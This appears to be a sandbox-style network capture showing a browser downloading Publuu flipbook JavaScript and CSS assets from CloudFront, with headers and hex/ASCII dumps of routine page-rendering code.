2025-03-26 17:36:18 UTC	4979	IN	Data Raw: 49 44 33 03 00 00 00 00 01 0b 54 59 45 52 00 00 00 0b 00 00 01 ff fe 32 00 30 00 32 00 31 00 54 44 41 54 00 00 00 0b 00 00 01 ff fe 31 00 39 00 30 00 33 00 54 45 4e 43 00 00 00 2f 00 00 01 ff fe 57 00 61 00 76 00 65 00 50 00 61 00 64 00 20 00 a9 00 20 00 4e 00 43 00 48 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 54 43 4f 4e 00 00 00 09 00 00 01 ff fe 28 00 30 00 29 00 54 49 4d 45 00 00 00 0b 00 00 01 ff fe 31 00 31 00 30 00 34 00 ff fb 70 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ID3TYER2021TDAT1903TENC/WavePad NCH SoftwareTCON(0)TIME1104pD

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:19 UTC	607	OUT	GET /flipbook/202503/02/assets/scripts/Book_curl.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:19 UTC	454	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 123610 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 12:10:10 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 08c35fba3c05c07f78b1292e4a5f949a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: wIgBmHrsspfud6EqBcug7vvTupRsieJnMSRzZgmiGDnZQizRX5_O2w== Age: 451569 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 42 6f 6f 6b 3d 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 75 3d 74 68 69 73 2c 68 3d 7b 70 61 64 64 69 6e 67 3a 69 73 5f 6d 6f 62 69 6c 65 28 29 3f 32 30 3a 31 30 2c 70 61 64 64 69 6e 67 58 3a 30 2c 6d 65 6e 75 48 50 72 6f 63 3a 38 2e 35 2c 6d 65 6e 75 4d 61 78 48 3a 34 35 2c 6d 65 6e 75 4d 69 6e 48 3a 33 35 2c 66 6f 72 63 65 4f 6e 65 50 61 67 65 3a 66 6f 72 63 65 4f 6e 65 50 61 67 65 2c 6d 65 6e 75 48 65 69 67 68 74 3a 39 30 2c 50 72 65 6c 6f 61 64 49 6d 61 67 65 73 3a 50 72 65 6c 6f 61 64 49 6d 61 67 65 73 2c 64 65 74 65 63 74 4f 72 69 65 6e 74 61 74 69 6f 6e 43 68 61 6e 67 65 3a 21 30 2c 6e 65 78 74 50 72 65 76 42 75 74 74 6f 6e 73 3a 21 30 2c 70 61 67 65 73 52 61 6e 67 65 72 3a 21 30 2c 53 63 61 Data Ascii: "use strict";var Book=function(_){var u=this,h={padding:is_mobile()?20:10,paddingX:0,menuHProc:8.5,menuMaxH:45,menuMinH:35,forceOnePage:forceOnePage,menuHeight:90,PreloadImages:PreloadImages,detectOrientationChange:!0,nextPrevButtons:!0,pagesRanger:!0,Sca
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 28 22 23 70 72 69 6e 74 5f 72 69 67 68 74 5f 70 72 65 76 69 65 77 22 29 2e 68 69 64 64 65 6e 3d 21 30 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 70 72 69 6e 74 5f 6c 65 66 74 5f 70 72 65 76 69 65 77 22 29 2e 73 74 79 6c 65 2e 66 6c 6f 61 74 3d 22 6e 6f 6e 65 22 2c 7b 77 69 64 74 68 3a 6f 2c 68 65 69 67 68 74 3a 6e 7d 3d 77 5b 75 2e 67 65 74 43 75 72 72 65 6e 74 50 61 67 65 28 29 5d 2e 67 65 74 4d 6f 64 65 6c 28 29 2e 6d 6f 64 65 6c 2c 6e 3c 3d 6f 26 26 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 70 72 69 6e 74 5f 6c 65 66 74 5f 70 72 65 76 69 65 77 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 63 75 72 72 65 6e 74 2d 66 75 6c 6c 22 29 29 3a 28 64 6f 63 Data Ascii: rySelector("#print_right_preview").hidden=!0,document.querySelector("#print_left_preview").style.float="none",{width:o,height:n}=w[u.getCurrentPage()].getModel().model,n<=o&&document.querySelector("#print_left_preview").classList.add("current-full")):(doc
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 28 22 2e 70 72 69 6e 74 2d 72 61 6e 67 65 2d 69 6e 70 75 74 22 29 26 26 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 69 6e 74 2d 72 61 6e 67 65 2d 69 6e 70 75 74 22 29 2e 76 61 6c 75 65 26 26 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 69 6e 74 2d 72 61 6e 67 65 2d 69 6e 70 75 74 22 29 2e 76 61 6c 75 65 2c 74 3d 4e 75 6d 62 65 72 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 69 6e 74 2d 72 61 6e 67 65 2d 69 6e 70 75 74 23 70 72 69 6e 74 2d 72 61 6e 67 65 2d 73 74 61 72 74 22 29 2e 76 61 6c 75 65 29 2c 6f 3d 4e 75 6d 62 65 72 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 69 6e 74 2d 72 61 6e 67 65 2d 69 6e Data Ascii: (".print-range-input")&&document.querySelector(".print-range-input").value&&(document.querySelector(".print-range-input").value,t=Number(document.querySelector(".print-range-input#print-range-start").value),o=Number(document.querySelector(".print-range-in
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 6f 72 28 22 2e 73 74 66 5f 5f 6d 61 72 63 69 6e 42 6f 6f 6b 53 68 61 64 6f 77 22 29 2e 73 74 79 6c 65 2e 6f 70 61 63 69 74 79 3d 22 31 2e 30 22 29 2c 43 65 28 29 7d 2c 34 30 30 29 7d 2c 32 30 30 29 7d 29 2c 79 65 28 29 2c 68 2e 6e 65 78 74 50 72 65 76 42 75 74 74 6f 6e 73 26 26 28 75 2e 72 65 6e 64 65 72 5f 5f 73 65 74 41 72 72 6f 77 73 28 29 2c 75 2e 72 65 6e 64 65 72 5f 5f 73 65 74 41 72 72 6f 77 73 41 72 65 61 28 29 29 2c 50 2e 69 6e 6e 65 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 50 2e 6e 61 76 41 72 65 61 50 72 65 76 50 61 67 65 29 2c 50 2e 69 6e 6e 65 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 50 2e 6e 61 76 41 72 65 61 4e 65 78 74 50 61 67 65 29 2c 50 2e 69 6e 6e 65 72 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 50 2e 6e 61 76 50 72 65 76 50 61 67 65 29 Data Ascii: or(".stf__marcinBookShadow").style.opacity="1.0"),Ce()},400)},200)}),ye(),h.nextPrevButtons&&(u.render__setArrows(),u.render__setArrowsArea()),P.inner.appendChild(P.navAreaPrevPage),P.inner.appendChild(P.navAreaNextPage),P.inner.appendChild(P.navPrevPage)
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 50 2e 66 6f 6f 74 65 72 52 69 67 68 74 29 2c 6a 65 28 29 2c 50 2e 66 6f 6f 74 65 72 49 63 6f 6e 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 50 2e 66 6f 6f 74 65 72 49 63 6f 6e 73 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 66 6f 6f 74 65 72 5f 5f 69 63 6f 6e 73 22 2c 69 73 5f 6d 6f 62 69 6c 65 28 29 3f 28 50 2e 66 6f 6f 74 65 72 52 69 67 68 74 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 50 2e 68 65 61 64 65 72 4c 6f 67 6f 29 2c 50 2e 66 6f 6f 74 65 72 52 69 67 68 74 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 60 77 69 64 74 68 3a 20 35 30 25 3b 20 61 6c 69 67 6e 2d 63 6f 6e 74 65 6e 74 3a 20 66 6c 65 78 2d 65 6e 64 3b 0a 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 Data Ascii: .appendChild(P.footerRight),je(),P.footerIcons=document.createElement("div"),P.footerIcons.className="footer__icons",is_mobile()?(P.footerRight.appendChild(P.headerLogo),P.footerRight.style.cssText=`width: 50%; align-content: flex-end; justify-conte
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 76 65 72 74 69 63 61 6c 28 29 7c 7c 68 2e 73 68 6f 77 53 69 6e 67 6c 65 50 61 67 65 4d 6f 64 65 29 26 26 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 30 3c 65 2e 61 64 64 65 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 65 2e 61 64 64 65 64 4e 6f 64 65 73 5b 30 5d 29 26 26 28 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 22 29 7d 29 7d 29 29 2e 6f 62 73 65 72 76 65 28 65 2c 7b 61 74 74 72 69 62 75 74 65 73 3a 21 30 2c 63 68 69 6c 64 4c 69 73 74 3a 21 30 2c 63 68 61 72 61 63 74 65 72 44 61 74 61 3a 21 30 7d 29 7d 3b 63 6f 6e 73 74 20 73 74 3d 74 3d 3e 7b 76 61 72 20 65 3d 75 2e 67 65 74 4d 6f 64 65 6c 28 29 3b 72 65 74 75 72 6e 20 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 72 6f 74 61 74 69 6f 6e 73 22 29 26 26 28 65 3d 65 Data Ascii: vertical()\|\|h.showSinglePageMode)&&e.forEach(function(e){0<e.addedNodes.length&&(e=e.addedNodes[0])&&(e.innerHTML="")})})).observe(e,{attributes:!0,childList:!0,characterData:!0})};const st=t=>{var e=u.getModel();return e.hasOwnProperty("rotations")&&(e=e
2025-03-26 17:36:19 UTC	16384	IN	Data Raw: 74 6f 70 3a 20 75 6e 73 65 74 3b 60 2c 75 2e 63 68 61 6e 67 65 41 72 72 6f 77 73 28 21 30 29 2c 79 2e 62 6f 6f 6b 5a 6f 6f 6d 28 21 30 29 7d 2c 7a 74 3d 28 29 3d 3e 7b 4f 74 3d 21 31 2c 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 74 29 2c 6d 2e 73 74 79 6c 65 3d 60 77 69 64 74 68 3a 20 24 7b 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 7d 3b 20 68 65 69 67 68 74 3a 20 24 7b 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 48 65 69 67 68 74 7d 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 75 6e 73 65 74 3b 60 2c 75 2e 63 68 61 6e 67 65 41 72 72 6f 77 73 28 21 31 29 2c 79 2e 62 6f 6f 6b 5a 6f 6f 6d 28 21 31 29 2c 75 74 28 50 2e 69 6e 6e 65 72 2c 22 64 65 66 61 75 6c 74 22 29 2c 6b 3d 7b 78 3a 30 2c 79 3a 30 7d 2c 50 2e 62 6f 6f 6b 57 72 61 70 70 65 72 2e 73 74 79 Data Ascii: top: unset;`,u.changeArrows(!0),y.bookZoom(!0)},zt=()=>{Ot=!1,clearTimeout(tt),m.style=`width: ${window.innerWidth}; height: ${window.innerHeight}px; margin-top: unset;`,u.changeArrows(!1),y.bookZoom(!1),ut(P.inner,"default"),k={x:0,y:0},P.bookWrapper.sty
2025-03-26 17:36:19 UTC	8922	IN	Data Raw: 72 79 53 65 6c 65 63 74 6f 72 28 22 6d 61 69 6e 23 6d 61 69 6e 22 29 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 61 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 64 69 76 2e 42 6f 6f 6b 22 29 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 6c 61 79 22 2c 75 2e 61 75 64 69 6f 48 6f 74 73 70 6f 74 48 61 6e 64 6c 65 72 29 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 61 75 73 65 22 2c 75 2e 61 75 64 69 6f 48 6f 74 73 70 6f 74 48 61 6e 64 6c 65 72 29 2c 28 6e 2e 64 61 74 61 2e 61 75 74 6f 70 6c 61 79 5f 70 6c 61 79 65 72 7c 7c 6e 2e 64 61 74 61 2e 61 75 74 6f 70 6c 61 79 29 26 26 61 2e 70 6c 61 79 28 29 2e 63 61 74 63 68 28 65 3d 3e 7b 73 2e Data Ascii: rySelector("main#main").insertBefore(a,document.querySelector("div.Book")),s.appendChild(a),a.addEventListener("play",u.audioHotspotHandler),a.addEventListener("pause",u.audioHotspotHandler),(n.data.autoplay_player\|\|n.data.autoplay)&&a.play().catch(e=>{s.

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:19 UTC	603	OUT	GET /flipbook/202503/02/assets/scripts/Notes.js?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive Origin: https://publuu.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:19 UTC	453	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 17729 Connection: close Server: CloudFront Date: Fri, 21 Mar 2025 10:50:25 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 932eefec422d884c28f3c110319f29fe.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: eA2kMZKWArH5LlAUp1ZS5SdGNDxc52zn0f34-tDe5XcHgIR8mGRq6g== Age: 456354 Cache-Control: max-age=31536000 Access-Control-Allow-Origin: *
2025-03-26 17:36:19 UTC	15931	IN	Data Raw: 41 50 50 6f 6e 52 65 61 64 79 2e 61 64 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 41 50 50 2e 4e 6f 74 65 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 75 3d 74 68 69 73 3b 6c 65 74 20 6f 3d 6e 75 6c 6c 2c 63 3d 5b 5d 2c 72 3d 6e 75 6c 6c 2c 74 3d 22 77 61 69 74 69 6e 67 22 2c 70 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 74 66 5f 5f 62 6c 6f 63 6b 22 29 2c 6e 3d 6e 75 6c 6c 2c 61 3d 7b 6e 61 6d 65 3a 22 72 65 64 22 2c 76 61 6c 75 65 3a 22 23 64 38 30 63 37 66 22 7d 2c 69 3d 7b 69 73 4d 6f 62 69 6c 65 3a 21 31 2c 69 73 45 6d 62 65 64 3a 21 31 2c 77 69 64 74 68 3a 30 2c 68 65 69 67 68 74 3a 30 7d 3b 66 75 6e 63 74 69 6f 6e 20 50 28 29 7b 72 65 74 75 72 6e 20 41 50 50 2e 42 6f 6f 6b 2e 67 65 74 4d 6f 64 Data Ascii: APPonReady.add(function(){APP.Note=new function(){const u=this;let o=null,c=[],r=null,t="waiting",p=document.querySelector(".stf__block"),n=null,a={name:"red",value:"#d80c7f"},i={isMobile:!1,isEmbed:!1,width:0,height:0};function P(){return APP.Book.getMod
2025-03-26 17:36:19 UTC	59	IN	Data Raw: 44 6f 75 62 6c 65 50 61 67 65 28 29 26 26 75 2e 67 65 74 53 74 66 42 6c 6f 63 6b 28 29 2e 61 70 70 65 6e 64 28 63 29 2c 75 2e 73 65 74 53 74 61 74 65 28 22 6d 6f 76 69 6e 67 22 Data Ascii: DoublePage()&&u.getStfBlock().append(c),u.setState("moving"
2025-03-26 17:36:19 UTC	1739	IN	Data Raw: 29 2c 74 28 65 2e 70 61 67 65 58 2c 65 2e 70 61 67 65 59 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 65 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 63 6f 6e 73 74 20 74 3d 75 2e 63 6f 6e 76 65 72 74 50 78 54 6f 50 65 72 63 65 6e 74 28 75 2e 67 65 74 4d 6f 64 65 6c 28 29 2e 73 69 7a 65 2e 77 69 64 74 68 29 2c 6f 3d 75 2e 63 6f 6e 76 65 72 74 50 78 54 6f 50 65 72 63 65 6e 74 28 75 2e 67 65 74 4d 6f 64 65 6c 28 29 2e 73 69 7a 65 2e 68 65 69 67 68 74 29 3b 6c 65 74 20 61 3d 41 50 50 2e 42 6f 6f 6b 2e 67 65 74 43 75 72 72 65 6e 74 50 61 67 65 28 29 2c 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 5f 70 61 67 65 5f 22 2b 61 29 2c 72 3d 7b 78 3a 75 2e 67 65 74 53 69 6e 67 6c 65 50 61 67 65 53 74 61 74 65 28 29 3f Data Ascii: ),t(e.pageX,e.pageY)}function l(e){e.preventDefault();const t=u.convertPxToPercent(u.getModel().size.width),o=u.convertPxToPercent(u.getModel().size.height);let a=APP.Book.getCurrentPage(),n=document.querySelector("._page_"+a),r={x:u.getSinglePageState()?

Timestamp	Bytes transferred	Direction	Data
2025-03-26 17:36:20 UTC	625	OUT	GET /flipbook/202503/02/assets/css/Book/xs.css?v=1748 HTTP/1.1 Host: dkl18tmi4r0t8.cloudfront.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Sec-Fetch-Storage-Access: active Referer: https://publuu.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 17:36:20 UTC	422	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 124014 Connection: close Server: CloudFront Date: Tue, 25 Mar 2025 08:21:36 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 ff278a71a35448622a3b931c58f6a0ae.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P3 X-Amz-Cf-Id: 96Aw3v9gMxOAWu8Ft6kHsY2-37GU0ykaf6bzOWK_IVjUTXmhv_P9vQ== Age: 119684 Cache-Control: max-age=31536000 Vary: Origin
2025-03-26 17:36:20 UTC	15962	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 61 72 65 61 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 39 32 2c 31 36 39 2c 32 35 35 3b 2d 2d 6d 6f 64 61 6c 2d 62 67 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 34 30 2c 35 30 2c 36 33 2c 2e 39 29 7d 2e 50 61 67 65 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 63 75 72 73 6f 72 3a 67 72 61 62 7d 2e 50 61 67 65 2e 5f 5f 6c 6f 61 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a Data Ascii: :root{--area-highlight-color:92,169,255;--modal-bg-color:rgba(40,50,63,.9)}.Page{overflow:hidden;width:100%;height:100%;background-color:#fff;display:none;cursor:grab}.Page.__load{background:url('data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZ
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 41 75 4d 7a 59 30 4c 44 49 75 4f 54 67 78 4c 44 49 75 4f 54 67 78 4c 44 41 73 4d 43 77 77 4c 43 34 32 4d 79 30 77 4c 6a 55 32 4e 47 77 74 4d 43 34 31 4c 53 34 32 4d 32 45 77 4c 6a 4d 30 4d 79 77 77 4c 6a 4d 30 4d 79 77 77 4c 44 41 73 4d 43 30 75 4d 7a 45 74 4d 43 34 78 4e 6a 45 73 4d 43 34 30 4d 7a 6b 73 4d 43 34 30 4d 7a 6b 73 4d 43 77 77 4c 44 41 74 4c 6a 49 35 4c 6a 46 6a 4c 54 41 75 4d 44 6b 75 4d 44 59 33 4c 53 34 78 4f 53 77 77 4c 6a 45 30 4d 69 30 77 4c 6a 4d 78 4c 44 41 75 4d 6a 49 30 59 54 49 75 4d 6a 59 78 4c 44 49 75 4d 6a 59 78 4c 44 41 73 4d 43 77 78 4c 53 34 30 4d 79 34 79 4d 6a 51 73 4d 53 34 34 4e 44 55 73 4d 53 34 34 4e 44 55 73 4d 43 77 77 4c 44 45 74 4c 6a 59 33 4c 6a 45 73 4d 53 34 33 4d 44 63 73 4d 53 34 33 4d 44 63 73 4d 43 77 77 4c Data Ascii: AuMzY0LDIuOTgxLDIuOTgxLDAsMCwwLC42My0wLjU2NGwtMC41LS42M2EwLjM0MywwLjM0MywwLDAsMC0uMzEtMC4xNjEsMC40MzksMC40MzksMCwwLDAtLjI5LjFjLTAuMDkuMDY3LS4xOSwwLjE0Mi0wLjMxLDAuMjI0YTIuMjYxLDIuMjYxLDAsMCwxLS40My4yMjQsMS44NDUsMS44NDUsMCwwLDEtLjY3LjEsMS43MDcsMS43MDcsMCwwL
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 45 75 4d 7a 51 34 4c 44 45 75 4d 7a 51 34 4c 44 41 73 4d 43 77 78 4c 43 34 33 4e 69 34 34 4e 7a 55 73 4d 53 34 34 4f 44 4d 73 4d 53 34 34 4f 44 4d 73 4d 43 77 77 4c 44 45 73 4c 6a 45 75 4e 6a 4d 7a 61 43 30 7a 4c 6a 49 32 57 6d 30 30 4c 6a 51 78 4c 44 45 75 4d 44 51 7a 59 54 41 75 4d 7a 55 34 4c 44 41 75 4d 7a 55 34 4c 44 41 73 4d 43 77 77 4c 43 34 7a 4d 69 30 77 4c 6a 45 7a 4e 69 77 78 4c 6a 49 79 4d 69 77 78 4c 6a 49 79 4d 69 77 77 4c 44 41 73 4d 43 77 75 4d 44 67 74 4d 43 34 31 4d 6a 6b 73 4d 79 34 35 4e 44 51 73 4d 79 34 35 4e 44 51 73 4d 43 77 77 4c 44 41 74 4c 6a 49 7a 4c 54 45 75 4d 7a 67 79 4c 44 4d 75 4d 44 59 31 4c 44 4d 75 4d 44 59 31 4c 44 41 73 4d 43 77 77 4c 53 34 32 4e 53 30 78 4c 6a 41 79 4d 69 77 79 4c 6a 67 77 4e 79 77 79 4c 6a 67 77 4e Data Ascii: EuMzQ4LDEuMzQ4LDAsMCwxLC43Ni44NzUsMS44ODMsMS44ODMsMCwwLDEsLjEuNjMzaC0zLjI2Wm00LjQxLDEuMDQzYTAuMzU4LDAuMzU4LDAsMCwwLC4zMi0wLjEzNiwxLjIyMiwxLjIyMiwwLDAsMCwuMDgtMC41MjksMy45NDQsMy45NDQsMCwwLDAtLjIzLTEuMzgyLDMuMDY1LDMuMDY1LDAsMCwwLS42NS0xLjAyMiwyLjgwNywyLjgwN
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 4e 4f 6b 73 6d 54 68 4c 6c 4d 39 69 77 36 2b 44 6b 4d 57 56 38 4a 31 48 73 64 78 63 33 46 77 42 55 48 35 72 56 48 39 66 62 35 6b 44 33 78 43 45 65 66 47 72 72 75 67 42 41 41 47 70 2f 66 33 39 6a 56 39 31 30 58 44 2f 48 75 6d 41 32 37 2f 72 71 38 36 32 47 67 44 36 43 51 44 4f 66 38 64 58 79 41 70 55 4f 6c 7a 35 49 4d 42 2f 43 53 32 34 30 77 79 42 4b 62 41 45 64 6a 41 66 4e 2b 41 46 2f 45 45 77 43 41 4e 6a 51 53 78 49 42 4b 6c 67 43 71 79 79 43 4b 35 7a 47 5a 67 42 35 6f 43 46 6f 42 69 55 67 70 56 67 48 64 67 49 74 6f 49 64 59 41 2f 59 44 77 36 42 4f 74 41 49 54 6f 46 66 77 43 56 77 46 64 77 45 39 2b 44 71 61 51 63 76 51 54 64 34 42 2f 6f 51 42 43 45 68 64 49 53 42 47 43 4a 6d 69 44 58 69 69 4c 67 68 50 6b 67 67 45 6f 5a 45 49 2f 46 49 4b 70 4b 4f 5a 43 45 Data Ascii: NOksmThLlM9iw6+DkMWV8J1Hsdxc3FwBUH5rVH9fb5kD3xCEefGrrugBAAGp/f39jV910XD/HumA27/rq862GgD6CQDOf8dXyApUOlz5IMB/CS240wyBKbAEdjAfN+AF/EEwCANjQSxIBKlgCqyyCK5zGZgB5oCFoBiUgpVgHdgItoIdYA/YDw6BOtAIToFfwCVwFdwE9+DqaQcvQTd4B/oQBCEhdISBGCJmiDXiiLghPkggEoZEI/FIKpKOZCE
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 30 70 78 29 3b 6d 61 78 2d 77 69 64 74 68 3a 39 36 30 70 78 3b 68 65 69 67 68 74 3a 36 33 30 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 39 35 25 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 2e 33 73 20 6f 70 61 63 69 74 79 20 65 61 73 65 2c 2e 33 73 20 76 69 73 69 62 69 6c 69 74 79 20 65 61 73 65 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 70 72 6f 64 75 63 74 2d 6d 6f 64 61 6c 5f 5f 63 6f 6e 74 61 69 6e 65 72 2e 70 72 6f 64 75 63 74 2d 2d 73 69 6d 70 6c 65 7b 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 7d 2e 70 72 6f 64 75 63 74 2d 6d 6f 64 61 6c 5f 5f 63 6f 6e 74 61 69 6e 65 72 2e 70 72 6f 64 75 63 74 2d 2d 73 69 6d 70 6c 65 20 2e 70 72 Data Ascii: 0px);max-width:960px;height:630px;max-height:95%;padding:0;border-radius:10px;overflow:hidden;transition:.3s opacity ease,.3s visibility ease;opacity:0}.product-modal__container.product--simple{max-width:500px}.product-modal__container.product--simple .pr
2025-03-26 17:36:20 UTC	16384	IN	Data Raw: 6c 69 6e 65 61 72 2c 2e 31 35 73 20 76 69 73 69 62 69 6c 69 74 79 20 6c 69 6e 65 61 72 3b 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 68 6f 74 73 70 6f 74 2d 61 72 65 61 2d 68 69 67 68 6c 69 67 68 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 74 6f 70 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 72 69 67 68 74 3a 30 3b 6c 65 66 74 3a 30 3b 6f 70 61 63 69 74 79 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 28 76 61 72 28 2d 2d 